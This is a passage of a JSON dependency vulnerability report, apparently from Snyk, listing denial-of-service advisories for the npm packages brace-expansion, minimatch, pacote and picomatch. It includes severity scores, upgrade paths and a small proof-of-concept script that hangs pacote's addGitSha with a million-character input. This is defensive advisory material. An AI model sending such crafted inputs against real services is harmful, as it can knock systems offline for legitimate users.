"https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "brace-expansion", "version": "5.0.3", "severityWithCritical": "high" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "minimatch", "version": "10.2.2", "severityWithCritical": "high" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "minimatch", "version": "10.2.2", "severityWithCritical": "high" }, { "id": "SNYK-JS-PACOTE-8225084", "title": "Denial of Service (DoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Rongchen Li" ], "semver": { "vulnerable": [ ">=11.2.7 <21.5.1" ] }, "exploit": "Proof of Concept", "fixedIn": [ "21.5.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "pacote", "references": [ { "url": "https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508", "title": "GitHub Commit" }, { "url": "https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js%23L2C1-L13C2", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "assigner": "SUSE", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.5, "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-06T14:03:36.496389Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T05:38:13.558341Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-06-26T11:01:41.662043Z" } ], "description": "## Overview\n[pacote](https://www.npmjs.org/package/pacote) is a JavaScript package downloader\n\nAffected versions of this package are vulnerable to Denial of Service (DoS) via the `addGitSha` function. An attacker can exploit this vulnerability by supplying a specially crafted `spec.rawSpec` value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.\n## PoC\n```js\r\nconst addGitSha = require('pacote/lib/util/add-git-sha');\r\n\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"#\";\r\n}\r\nstr += \"\\n@\";\r\n\r\nconst spec = {\r\n rawSpec: str,\r\n hosted: null,\r\n};\r\n\r\nconsole.log(\"start\");\r\naddGitSha(spec, \"\");\r\nconsole.log(\"end\");\r\n\r\n// run `npm install pacote` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `pacote` to version 21.5.1 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/pacote/commit/ce804fb1647fe1699b2f87efd01ea9f4efed8508)\n- [Vulnerable Code](https://github.com/npm/pacote/blob/9d7459440826ab4cf962ef98d8f3fd0c4d464b5c/lib/util/add-git-sha.js#L2C1-L13C2)\n", "epssDetails": { "percentile": "0.25940", "probability": "0.00346", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-9496" ], "CWE": [ "CWE-1333" ] }, "packageName": "pacote", "proprietary": true, "creationTime": "2024-10-17T10:34:46.482142Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2024-10-16T16:02:48Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-25T09:33:02.725240Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-06T14:03:36.496389Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "pacote", "version": "21.4.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-24T14:14:02.835882Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing 